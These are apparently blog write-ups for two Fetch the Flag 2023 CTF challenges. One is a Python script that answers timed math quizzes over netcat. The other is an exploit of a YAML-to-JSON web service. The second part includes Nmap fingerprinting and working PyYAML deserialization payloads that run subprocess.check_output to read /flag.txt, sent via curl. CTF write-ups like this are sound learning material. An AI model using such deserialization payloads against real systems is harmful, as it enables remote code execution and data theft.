Fetch the Flag CTF 2023

Here are my writeups for Fetch the Flag CTF 2023. The event took place from Fri, 27 Oct. 2023 09:00 Eastern Standard Time (EST) until Sat, 28 Oct. 2023 09:00 EST.

Fetch The Flag 2023 Quick Maths Writeup

This is a writeup for the Fetch The Flag 2023 Quick Maths challenge.

Challenge notes

To try and get better grades in math, I made a program that gave me timed quizzes. Funny thing is that as I got better at the questions in this test, I got worse grades on my math tests.

NOTE: Float answers are rounded to 1 decimal points.

NOTE: And here’s another twist… the answers to division questions depend on integer division or double division. I.e., 3/5 = 0 3/5.0 = .6

Press the Start button in the top-right to begin this challenge. Connect with:

nc challenge.ctf.games 32237

Connecting to the challenge server

Using the command supplied in the challenge notes, I use nc to connect to the challenge server. The server prompts you to solve math challenges and times you out when you don’t answer fast enough.

Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.

Note to self: Round all answers to 1 decimal point, where applicable.

Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 97.2 / 33.7?
Too Slow!!!
Good bye :(

I decided to use this as an opportunity to test out the nclib library in Python. You can use nclib to automate interacting with telnet-like interfaces over the network.

The protocol

The challenge server writes 6 lines of text and asks the user to enter y. After that, the server prompts you to solve a long chain of arithmetic questions.

Here is one more transcript from the server:

Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.

Note to self: Round all answers to 1 decimal point, where applicable.

Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 3 / 5?
What is 3 / 5.0?
Too Slow!!!
Good bye :(

As noted in the challenge notes, the server cares about integer and float division.

The solution script

I first define a few test cases in pytest to make sure that I get the integer versus float division right:

from calculator import calculate


def test_all() -> None:
    assert calculate("What is 3 / 5?") == 0
    assert calculate("What is 3 / 5.0?") == 0.6
    assert calculate("What is 76.0 * 36.1?") == 2743.6
    assert calculate("Correct!\nWhat is 76.0 * 36.1?") == 2743.6

This is the calculate function in Python:

import re, operator

FORMULA_RE = re.compile(
    r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
    re.MULTILINE,
)
OPERATORS = {
    "*": operator.mul,
    "/": operator.truediv,
    "+": operator.add,
    "-": operator.sub,
}

def calculate(formula: str) -> Union[int, float]:
    """Evaluate a formula."""
    match = FORMULA_RE.match(formula)
    assert match is not None, f"Couldn't match {formula}"
    left, op_chr, right = match.group(1, 2, 3)
    floats = '.' in left or '.' in right
    op = OPERATORS[op_chr]
    if floats:
        return round(op(float(left), float(right)), 1)
    return int(op(int(left), int(right)))

The calculate function performs the following tasks:

  1. Use a regular expression to parse the math formula from the server’s question.
  2. Pick the right operator from a dictionary called OPERATORS
  3. Determine if the answer is expected to be a floating point number or integer.
  4. If a floating point number is required, run the calculation and return the result rounded to 1 decimal point
  5. If an integer is required, round the result and return it.

Here’s the full script that solved the challenge:

#!/usr/bin/env python3
import operator
import re
from typing import Union

import nclib

HOST = "challenge.ctf.games", 32237

FORMULA_RE = re.compile(
    r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
    re.MULTILINE,
)
OPERATORS = {
    "*": operator.mul,
    "/": operator.truediv,
    "+": operator.add,
    "-": operator.sub,
}

def calculate(formula: str) -> Union[int, float]:
    """Evaluate a formula."""
    match = FORMULA_RE.match(formula)
    assert match is not None, f"Couldn't match {formula}"
    left, op_chr, right = match.group(1, 2, 3)
    floats = '.' in left or '.' in right
    op = OPERATORS[op_chr]
    if floats:
        return round(op(float(left), float(right)), 1)
    return int(op(int(left), int(right)))

def main():
    nc = nclib.Netcat(HOST)
    print(nc.recv_until("(Y/n): ").decode())
    nc.send_line("y")
    print(nc.recv_until("Awesome, good luck!\n").decode())
    while True:
        line = nc.recv_until("? ").decode()
        print("Next question:", line)
        line = line.strip()
        result = calculate(line)
        print("Calculated the result:", result, "-- sending now")
        nc.send_line(str(result))


if __name__ == "__main__":
    main()

Fetch The Flag 2023 YSON Writeup

This is a writeup for the Fetch The Flag 2023 YSON challenge.

Challenge notes

Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!

Find the flag.txt file in the root of the filesystem.

Press the Start button on the top-right to begin this challenge. Connect with:

http://challenge.ctf.games:30944

Nmap

I use Nmap to fingerprint the HTTP server:

# We don't want to ping it, and just look at the challenge port
nmap \
    -Pn \
    -p30944 \
    --script=+http-title.nse \
    --script=+http-server-header.nse \
    challenge.ctf.games

Nmap prints the following:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com

PORT      STATE SERVICE
30944/tcp open  unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.

The site

The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:

name: John Doe
age: 30
is_student: false
address:
  street: 123 Elm St
  city: Springfield
  zip: 12345
skills:
  - Python
  - JavaScript
  - SQL

YSON returns the following JSON response:

{
  "name": "John Doe",
  "age": 30,
  "is_student": false,
  "address": {
    "street": "123 Elm St",
    "city": "Springfield",
    "zip": 12345
  },
  "skills": ["Python", "JavaScript", "SQL"]
}

The following shows a curl and jq invocation to test the YSON API from the command line:

curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input@example_input.yaml" |
    jq "., (.data | fromjson)"

This prints the following:

{
  "data": "{\n    \"name\": \"John Doe\",\n    \"age\": 30,\n    \"is_student\": false,\n    \"address\": {\n        \"street\": \"123 Elm St\",\n        \"city\": \"Springfield\",\n        \"zip\": 12345\n    },\n    \"skills\": [\n        \"Python\",\n        \"JavaScript\",\n        \"SQL\"\n    ]\n}",
  "status": "success"
}

Here are the contents of the data property, parsed as JSON:

{
  "name": "John Doe",
  "age": 30,
  "is_student": false,
  "address": {
    "street": "123 Elm St",
    "city": "Springfield",
    "zip": 12345
  },
  "skills": ["Python", "JavaScript", "SQL"]
}

Exploit

I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.

I test whether the YSON API is vulnerable with the following command:

set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

The YSON API returns a Python range() object. This tells me that the API is vulnerable. This YAML deserialization vulnerability lets me run arbitrary external commands using subprocess.check_output.

I proceed to print out the contents of /flag.txt with the following YAML payload:

set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

This prints out the following flag:

flag{6766066cea624a90b1ae5b47a4a320d9}